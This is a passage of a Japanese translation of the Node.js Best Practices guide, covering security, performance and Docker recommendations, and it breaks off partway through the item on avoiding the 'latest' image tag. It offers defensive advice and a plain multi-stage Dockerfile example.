src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** npm のエコシステムでは、プロジェクトにおいて多くの依存関係があることが一般的です。新たな脆弱性が発見された場合には、依存関係を常にチェックしておくべきです。[npm audit](https://docs.npmjs.com/cli/audit) や [snyk](https://snyk.io/) のようなツールを利用して、脆弱性のある依存関係を追跡、監視し、パッチを適用しましょう。これらのツールを CI セットアップと統合することで、本番環境にデプロイされる前に脆弱性のある依存関係を発見することができるでしょう。\n\n**さもないと:** 攻撃者がウェブフレームワークを特定して、全ての既知の脆弱性を突いてくる可能性があります。\n\n🔗 [**さらに読む: 依存性のセキュリティ**](./sections/security/dependencysecurity.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.8. パスワードの処理に Node.js の crypto ライブラリではなく Bcrypt を利用する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** パスワードやシークレット（API キー）は、JavaScript の実装においてパフォーマンス面・セキュリティ面で優れた選択肢である `bcrypt` のようなセキュアなハッシュ＋ソルト関数を利用して保存するべきです。\n\n**さもないと:** セキュアな関数を使わずに永続化されたパスワードやシークレット情報は、ブルートフォース攻撃や辞書攻撃に弱く、結果として情報漏えいに繋がります。\n\n🔗 [**さらに読む: Bcrypt を使用する**](./sections/security/bcryptpasswords.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.9. HTML や JS、CSS の出力をエスケープする\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** ブラウザに送信された信頼されていないデータは、ただ表示される代わりに実行される可能性があり、これは一般的にクロスサイトスクリプティング（XSS）攻撃と呼ばれています。これを軽減するには、データを、実行されるべきではない純粋なコンテンツとして明示的にマークする専用のライブラリを使用します（エンコーディング、エスケープなど）。\n\n**さもないと:** 攻撃者は悪意のある JavaScript のコードを DB に保存し、それをそのまま脆弱なクライアントに送信する可能性があります。\n\n🔗 [**さらに読む: 出力をエスケープする**](./sections/security/escape-output.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.10. 受信した JSON スキーマを検証する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 受信したリクエストの body ペイロードを検証し、期待する条件を満たすことを確認し、期待通りでない場合はすぐに失敗するようにしてください。各ルート内での面倒な検証コードの実装を避けるために、[jsonschema](https://www.npmjs.com/package/jsonschema) や [joi](https://www.npmjs.com/package/joi) のような、軽量の JSON ベースの検証ライブラリを利用するかもしれません。\n\n**さもないと:** あなたの寛大で寛容なアプローチは攻撃対象を大幅に拡大させ、攻撃者がアプリケーションをクラッシュさせるための組み合わせを見つけるまで、多くの入力を試してみるように促すことに繋がります。\n\n🔗 [**さらに読む: 受信した JSON スキーマを検証する**](./sections/security/validation.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.11. JWT のブラックリスト化をサポートする\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** JSON Web Token を（例えば [Passport.js](https://github.com/jaredhanson/passport) などを用いて）利用する場合、デフォルトでは、発行されたトークンからのアクセスを無効にする仕組みはありません。悪意のあるユーザーのアクティビティを発見したとしても、そのユーザーが有効なトークンを持っている限り、システムへのアクセスを止めることはできません。各リクエストで検証される、信頼されていないトークンのブラックリストを実装することで、この問題を緩和することができます。\n\n**さもないと:** 期限切れや、誤って配置されたトークンは、アプリケーションにアクセスしたり、トークンの所有者になりすますために、サードパーティによって悪意を持って利用される可能性があります。\n\n🔗 [**さらに読む: JSON Web Token のブラックリスト**](./sections/security/expirejwt.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.12. 認証に対するブルートフォース攻撃を阻止する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** シンプルで強力なテクニックは、次の 2 つのメトリクスを用いて認証の試行回数を制限することです:\n\n1. 同じユーザー固有の ID/名前、そして IP アドレスからの連続失敗回数\n2. ある IP アドレスからの長い期間の失敗回数。例えば、1 日で 100 回失敗した IP アドレスをブロックする\n\n**さもないと:** 攻撃者が、アプリケーションの特権アカウントへのアクセス権を得るために、無制限の自動化されたパスワード試行を行うことができます。\n\n🔗 [**さらに読む: ログインレートリミット**](./sections/security/login-rate-limit.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.13. 非 root ユーザとして Node.js を実行する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Node.js が無制限の権限を持った root ユーザとして実行されるという一般的なシナリオがあります。例えば、Docker コンテナにおけるデフォルトの挙動です。root ではないユーザを作成して Docker イメージに組み込む（例は以下にあります）か、\"-u username\" フラグを利用してコンテナを起動することで、非 root ユーザでプロセスを実行することが推奨されます。\n\n**さもないと:** サーバ上でスクリプトを実行することに成功した攻撃者が、ローカルマシンにおける無制限の権限を獲得してしまいます（例：iptable を変更して、攻撃者のサーバに再ルーティングする）。\n\n🔗 [**さらに読む: 非 root ユーザとして Node.js を実行する**](./sections/security/non-root-user.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.14. リバースプロキシまたはミドルウェアを使用してペイロードのサイズを制限する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Body ペイロードが大きければ大きいほど、シングルスレッドでの処理が重くなります。これは、攻撃者にとっては、膨大なリクエストを送信（DoS/DDoS 攻撃）せずともサーバーをダウンさせることができる機会となります。エッジ（例：firewall、ELB）で受信するリクエストのボデサイズを制限する、もしくは [express body parser](https://github.com/expressjs/body-parser) を用いて小さいサイズのペイロードのみを受け付けることで、緩和してください。\n\n**さもないと:** アプリケーションは大きなリクエストを処理しなければなくなり、他の重要な仕事を完遂させることができず、パフォーマンスへの影響や DDoS 攻撃に対する脆弱性につながります。\n\n🔗 [**さらに読む: ペイロードサイズを制限する**](./sections/security/requestpayloadsizelimit.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.15. JavaScript の eval 構文を避ける\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` は、ランタイムにおいてカスタム JavaScript コードの実行を許可しているため、有害です。これは単にパフォーマンス的な懸念だけではなく、ユーザーの入力を元にした悪意のある JavaScript コードのために、重大なセキュリティ的な懸念でもあります。その他の避けるべき言語仕様は、`new Function` コンストラクタです。`setTimeout` と `setInterval` も動的な JavaScript コードに渡されるべきではありません。\n\n**さもないと:** 悪意のある JavaScript コードが `eval` やその他のリアルタイムに評価する JavaScript の関数に渡されるテキストへたどり着き、そのページにおける JavaScript の完全な権限を獲得してしまいます。この脆弱性はしばしば XSS 攻撃として顕在化します。\n\n🔗 [**さらに読む: JavaScript の eval 構文を避ける**](./sections/security/avoideval.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.16. 悪意のある RegEx がシングルスレッド実行をオーバーロードすることを防止する\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 正規表現（RegEx）は便利ですが、JavaScript アプリケーション全体、特に Node.js プラットフォームに対して真の脅威となります。テキストのユーザー入力をマッチさせることは、処理に大量の CPU サイクルを必要とするかもしれません。RegEx の処理は、10 Word を検証する単一のリクエストが 6 秒間イベントループ全体をブロックし、CPU に 🔥 を点けるほどには非効率であるかもしれません。そのため、独自の RegExp パターンを記述する代わりに [validator.js](https://github.com/chriso/validator.js) のようなサードパーティ検証パッケージを利用するか、脆弱な正規表現パターンを検出するために [safe-regex](https://github.com/substack/safe-regex) を利用するようにしましょう。\n\n**さもないと:** 下手な正規表現の記述は、イベントループを完全にブロックしてしまう正規表現 DoS 攻撃の影響を受ける可能性があります。例えば、人気のある `moment` パッケージでは、2017 年 11 月に悪意のある RegEx の使用による脆弱性が発見されています。\n\n🔗 [**さらに読む: 悪質な RegEx を防止する**](./sections/security/regex.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.17. 変数を利用してモジュールを読み込むことを避ける\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** ユーザー入力が起因となって問題が生じる恐れがあるため、パラメータとして与えられたパスを用いて他のファイルを require/import しないようにしてください。この原則は、ユーザー入力に基づいた動的な変数を用いた、一般的なファイルアクセス（`fs.readFile()` など）やその他のセンシティブなリソースアクセスにも拡張することができます。[Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter はそのようなパターンを検知して、早期に警告を出すことができます。\n\n**さもないと:** 悪意のあるユーザー入力は、既存のシステムファイルに、前にファイルシステムにアップロードされたファイルのような改変されたファイルを要求したり、既存のシステムファイルにアクセスするために利用されるパラメータを操作する可能性があります。\n\n🔗 [**さらに読む: 安全なモジュール読み込み**](./sections/security/safemoduleloading.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.18. サンドボックス内で安全でないコードを実行する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** ランタイムにおいて与えられた外部のコード（プラグインなど）を実行するようなタスクを行うとき、独立していて、メインコードをプラグインから保護する任意の「サンドボックス」実行環境を使用してください。これは、専用のプロセス（`cluster.fork()` など）やサーバーレス環境、またはサンドボックスとして動作する専用の npm パッケージを使用することで実現できます。\n\n**さもないと:** プラグインは、無限ループやメモリーオーバーロード、センシティブなプロセスの環境変数へのアクセスなど、あらゆる手段を通じて攻撃可能となります。\n\n🔗 [**さらに読む: サンドボックス内で安全でないコードを実行する**](./sections/security/sandbox.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.19. 子プロセスで処理を行う場合は特別な注意を払う\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 可能なら子プロセスの仕様を避け、それでも使用する必要がある場合には、入力を検証しサニタイズすることで、シェルインジェクション攻撃を軽減してください。属性の集合を持つ単一コマンドのみを実行し、シェルパラメータ拡張を許可しない `child_process.execFile` の使用を優先してください。\n\n**さもないと:** 子プロセスを愚直に利用することは、サニタイズされていないシステムコマンドに渡される悪意のあるユーザー入力が原因となって、結果としてリモートからのコマンド実行、またはシェルインジェクション攻撃を受けることにつながります。\n\n🔗 [**さらに読む: 子プロセスで処理を行う場合は注意する**](./sections/security/childprocesses.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.20. エラーの詳細をクライアントから隠す\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 統合されている express のエラーハンドラはデフォルトでエラーの詳細を隠します。しかし、（多くの人がベストプラクティスだと考えている）カスタムエラーオブジェクトを使用して独自のエラー処理ロジックを実装する可能性は大いにあります。その場合、クライアントに、機密なアプリケーション詳細を含む恐れのあるエラーオブジェクト全体を返さないようにしてください。\n\n**さもないと:** 攻撃者によって悪用される可能性のある、サーバファイルのパス、使用中のサードパーティモジュール、アプリケーションのその他内部ワークフローなど、機密性の高いアプリケーションの詳細情報が、スタックトレース内に残された情報から漏洩する可能性があります。\n\n🔗 [**さらに読む: エラーの詳細をクライアントから隠す**](./sections/security/hideerrors.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.21. npm や Yarn に 2 要素認証（2FA）を設定する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 開発におけるどのステップも、MFA（多要素認証）で保護されるべきです。npm/Yarn は開発者のパスワードに触れることができる攻撃者にとって絶好の機会となります。開発者の認証情報を利用して、プロジェクトやサービスにおいて広くインストールされている攻撃者は悪意のあるコードを注入することができます。もしパブリックに公開されている場合は、ウェブ全体にまで及ぶかもしれません。npm において 2 要素認証を設定することで、攻撃者がパッケージコードを改ざんする可能性はほぼゼロになります。\n\n**さもないと:** [Have you heard about the eslint developer whose password was hijacked?（パスワードがハイジャックされた eslint 開発者の話を聞いたことがありますか？）](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. セッションミドルウェアの設定を変更する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** それぞれの Web フレームワークや技術には、既知の弱点があります - 攻撃者に対してどの Web フレームワークを利用しているかを伝えることは、攻撃者にとって大きな助けになることです。セッションミドルウェアのデフォルトの設定を利用することは、`X-Powered-By` ヘッダー同様に、アプリケーションをモジュールやフレームワーク固有のハイジャック攻撃にさらす可能性があります。技術スタック（例：Node.js、express など）を識別したり、明らかにするものは極力隠すようにしてください。\n\n**さもないと:** Cookie は安全でないコネクションを通じて送信される恐れがあり、攻撃者はセッション識別子を利用して背後にある Web アプリケーションフレームワークや、モジュール固有の脆弱性を特定する可能性があります。\n\n🔗 [**さらに読む: クッキー（Cookie）とセッションの安全性**](./sections/security/sessions.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.23. 明示的にプロセスがいつクラッシュすべきか設定することで、DoS 攻撃を回避する\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** エラーが処理されなかった場合、Node プロセスはクラッシュします。多くのベストプラクティスは、たとえエラーがキャッチされ処理されたとしても、exit することを推奨しています。例えば、Express は、非同期エラーが発生すると、ルートをキャッチ節でラップしない限りクラッシュします。これは、どんな入力がプロセスをクラッシュさせるのかを認識し、繰り返し同様のリクエストを送信する攻撃者にとって絶好の攻撃スポットを提供します。この問題に対する即席の対策はありませんが、いくつかのテクニックはペインを軽減することができます: 処理されていないエラーによってプロセスがクラッシュした場合は常に重大な警告を出す、入力を検証して無効なユーザー入力によるプロセスのクラッシュを回避する、すべてのルートをキャッチで囲み、（グローバルに発生した場合とは対象的に）リクエスト内でエラーが発生した際にクラッシュしないように考慮する、などです。\n\n**さもないと:** これはあくまで経験に基づいた推測ですが、多くの Node.js アプリケーションを見たときに、すべての POST リクエストにおいて空の JSON ボディを渡そうとすると、一部のアプリケーションはクラッシュしてしまいます。その時点で、同じリクエストを繰り返し送信することによって簡単にアプリケーションを停止させることができます。\n\n<br/><br/>\n\n## ![✔] 6.24. 安全でないリダイレクトを防ぐ\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** ユーザー入力を検証しないリダイレクトは、攻撃者がフィッシング詐欺をしたり、ユーザーの認証情報を盗んだり、その他の悪質なアクションを実行することを可能にします。\n\n**さもないと:** もし攻撃者が、外部のユーザーから与えられた入力を検証していないことを発見した場合、特別に作成されたリンクをフォーラムやソーシャルメディア、その他のパブリックな場所に投稿してユーザーにクリックさせることで、この脆弱性を悪用する恐れがあります。\n\n🔗 [**さらに読む: 安全でないリダイレクトを防ぐ**](./sections/security/saferedirects.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.25. npm レジストリへのシークレットの公開を避ける\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 誤ってシークレットをパブリック npm レジストリに公開してしまうリスクを回避するように、注意を払ってください。`.npmignore` ファイルを利用して、特定のファイルやフォルダをブラックリスト化したり、`package.json` 内の `files` 配列をホワイトリストとして利用することができます。\n\n**さもないと:** プロジェクトの API キーやパスワード、その他のシークレットが公開され、その情報を目にしたすべての人に悪用されることで、結果として金銭的な損失、なりすまし、その他リスクに繋がってしまいます。\n\n🔗 [**さらに読む: シークレットの公開を避ける**](./sections/security/avoid_publishing_secrets.japanese.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `7. Draft: パフォーマンスのプラクティス`\n\n## Our contributors are working on this section. [Would you like to join?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. イベントループをブロックしない\n\n**TL;DR:** CPU 集約的なタスクは、主にシングルスレッドのイベントループをブロックし、専用のスレッド、プロセス、またはコンテキストに基づいて別の技術にそれらをオフロードするため、避けてください。\n\n**さもないと:** イベントループがブロックされると、Node.js は他のリクエストを処理することができなくなり、同時接続ユーザーの遅延を引き起こします。**3000 人のユーザーがレスポンスを待っていて、コンテンツを提供する準備ができていたとしても、1 つのリクエストがサーバからの結果のディスパッチをブロックしていしまいます**\n\n🔗 [**さらに読む: イベントループをブロックしない**](./sections/performance/block-loop.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Lodash のようなユーザーランドのユーティリティよりも、ネイティブの JS メソッドを選ぶ\n\n**TL;DR:** ネイティブメソッドよりも `lodash` や `underscore` のようなユーティリティライブラリを使う方が、不要な依存関係やパフォーマンスの低下につながるため、よりペナルティが大きいことがよくあります。\n新しい ES 標準と一緒に新しい V8 エンジンが導入されたことで、ネイティブメソッドが改善され、ユーティリティライブラリよりも約 50％ のパフォーマンスが向上したことを覚えておいてください。\n\n**さもないと:** **すでに**利用可能なものを単純に使用できたり、いくつかのファイルと引き換えに、数行で処理することができるような、パフォーマンスの低いプロジェクトを維持しなければならないでしょう。\n\n🔗 [**さらに読む: ユーザーランドなユーティリティよりもネイティブを使用する**](./sections/performance/nativeoverutil.japanese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `8. Docker のプラクティス`\n\n🏅 [Bret Fisher](https://github.com/BretFisher)氏からは、次のような実践を多く学ぶことができました。感謝します。\n\n<br/><br/>\n\n## ![✔] 8.1 マルチステージビルドを使用して、より無駄のない、より安全な Docker イメージを構築する\n\n**TL;DR:** マルチステージビルドを使用して、必要な本番環境のアーティファクトだけをコピーします。多くのビルド時の依存関係やファイルは、アプリケーションの実行には必要ありません。マルチステージビルドでは、これらのリソースをビルド中に使用することができ、ランタイム環境には必要なものだけが含まれています。マルチステージビルドは、過剰な負荷とセキュリティの脅威を取り除く簡単な方法です。\n\n**さもないと:** イメージが大きくなるとビルドとリリースに時間がかかり、ビルド専用ツールには脆弱性が含まれている可能性があり、ビルド段階でのみ使用されるシークレット情報が漏洩する可能性があります。\n\n### マルチステージビルド用の Dockerfile の例\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**さらに読む: マルチステージビルドを使用する**](./sections/docker/multi_stage_builds.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.2. 'node' コマンドを使用して、npm start 避けた Bootstrap\n\n**TL;DR:** アプリの起動には `CMD ['node','server.js']` を使用し、OS のシグナルをコードに渡さない npm スクリプトの使用は避けてください。これにより、子プロセス、シグナル処理、グレースフルシャットダウン、ゾンビプロセスの問題を防ぐことができます。\n\n**さもないと:** シグナルが渡されない場合、あなたのコードはシャットダウンについて通知されることはありません。これがなければ、適切に閉じる機会を失い、現在のリクエストやデータを失う可能性があります。\n\n[**さらに読む: node コマンドを使用して 、npm の起動を避けた Bootstrap コンテナ**](./sections/docker/bootstrap-using-node.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.3. レプリケーションとアップタイムの扱いを Docker ランタイムに任せる\n\n**TL;DR:** Docker ランタイムオーケストレーター（Kubernetes など）を使用する場合は、中間プロセスマネージャやプロセスを複製するカスタムコード（PM2、Cluster モジュールなど）を使用せずに、Node.js プロセスを直接呼び出します。ランタイムプラットフォームは、配置の決定を行うためのデータ量と可視性が最も高く、必要とされるプロセスの数、それらをどのように分散させ、クラッシュが発生した場合にどうすればよいかを最もよく知っています。\n\n**さもないと:** リソース不足でクラッシュし続けるコンテナは、プロセスマネージャによって無期限に再起動されてしまいます。Kubernetes がそれを認識していれば、別の余裕のあるインスタンスに移すことができます。\n\n🔗 [**さらに読む: プロセスを再起動と複製を Docker オーケストレーターに任せる**](./sections/docker/restart-and-replicate-processes.japanese.md)\n\n<br/><br /><br />\n\n## ![✔] 8.4. .dockerignore を使用してシークレット情報の漏洩を防ぐ\n\n**TL;DR**: 一般的な秘密ファイルや開発成果物をフィルタリングする `.dockerignore` ファイルを含めてください。そうすることで、秘密がイメージに漏れるのを防ぐことができるかもしれません。ボーナスとして、ビルド時間が大幅に短縮されます。また、すべてのファイルを再帰的にコピーするのではなく、何を Docker にコピーするかを明示的に選択するようにしてください。\n\n**さもないと**: `.env`, `.aws`, `.npmrc` のような共通の個人秘密ファイルは、イメージにアクセスできる人全員に共有されます (例: Docker リポジトリ)。\n\n🔗 [**さらに読む: .dockerignore を使用する**](./sections/docker/docker-ignore.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.5. 本番前に依存関係をクリーンアップする\n\n**TL;DR:** ビルドやテストのライフサイクルの中で Dev-Dependencies が必要になることもありますが、最終的には本番に出荷されるイメージは、開発の依存関係を最小限に抑え、クリーンなものにしなければなりません。このようにすることで、必要なコードのみが出荷され、潜在的な攻撃の量 (すなわち攻撃の表面) が最小限に抑えられることが保証されます。マルチステージビルドを使用する場合 (専用の箇条書きを参照)、最初にすべての依存関係をインストールし、最後に `npm ci --production` を実行することでこれを実現できます。\n\n**さもないと:** 悪名高い npm のセキュリティ侵害の多くは開発パッケージ内で発見されました (例: [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes)\n\n🔗 さらに読む: [開発依存性の除去](./sections/docker/install-for-production.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.6. シャットダウンをスマートに、そしてグレースフルに\n\n**TL;DR:** プロセス SIGTERM イベントを処理し、既存のすべての接続とリソースをクリーンアップします。これは進行中のリクエストに応答している間に行う必要があります。Docker 化されたランタイムでは、コンテナのシャットダウンは珍しいイベントではなく、むしろルーチン作業の一部として頻繁に発生します。これを実現するためには、いくつかの可動部分をオーケストレーションするための思慮深いコードが必要です: ロードバランサ、キープアライブ接続、HTTP サーバ、その他のリソースです。\n\n**さもないと:** 即座に kill してしまうことは、何千人もの失望したユーザーに対応しないことを意味します。\n\n🔗 [**さらに読む: グレースフルシャットダウン**](./sections/docker/graceful-shutdown.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.7. Docker と v8 の両方を使ってメモリ制限を設定する\n\n**TL;DR:** Docker と JavaScript のランタイムフラグの両方を使用して、常にメモリ制限を設定してください。Docker の制限は、コンテナ配置の思慮深い判断をするために必要であり、--v8 のフラグ max-old-space は、GC を時間通りにキックオフし、メモリ使用率の低下を防ぐために必要です。実質的には、v8 の古いスペースメモリをコンテナの制限値より少しだけ小さく設定します。\n\n**さもないと:** docker の定義は、思慮深いスケーリングの決定を行い、他の市民を飢えさせないようにするために必要です。v8 の制限を定義しないと、コンテナリソースを十分に利用できません。 - 明示的な指示がないと、ホストリソースの ~50-60％ を利用するときにクラッシュします。\n\n🔗 [**さらに読む: Docker のみを使用してメモリ制限を設定する**](./sections/docker/memory-limit.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.8. 効率的なキャッシュを計画する\n\n**TL;DR:** 正しく行えば、ほぼ瞬時にキャッシュから Docker イメージ全体をリビルドすることができます。あまり更新されない処理は Dockerfile の上の方に記述し、更新が多い処理（アプリケーションのコードなど）は下の方に記述するべきです。\n\n**さもないと:** Docker のビルドが非常に長くなり、小さな変更をした場合でも多くのリソースを消費することになります。\n\n🔗 [**さらに読む: キャッシュを活用してビルド時間を短縮する**](./sections/docker/use-cache-for-shorter-build-time.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.9. `latest` タグは避け、明示的なイメージのリファレンスを使用する\n\n**TL;DR:** 明示的なイメージダイジェスト、またはバージョンラベルを指定し、`latest` を参照しないようにしてください。開発者はしばしば、`latest` タグを指定することでリポジトリ内の最新のイメージが提供されると思い込みがちですが、そうではありません。ダイジェスト（digest）を利用することで、サービスのすべてのインスタンスが全く同じコードを実行していることが保証されます。\n\nさらに、イメージタグを参照することは、決定論的インストールにおいてイメージタグを頼りにすることができないために、ベースイメージが変更される可能性があることを意味します。代わりに、決定論的なインストールが想定される場合には、SHA256 ダイジェストを使用して正確なイメージを参照することができます。\n\n**さもないと:** 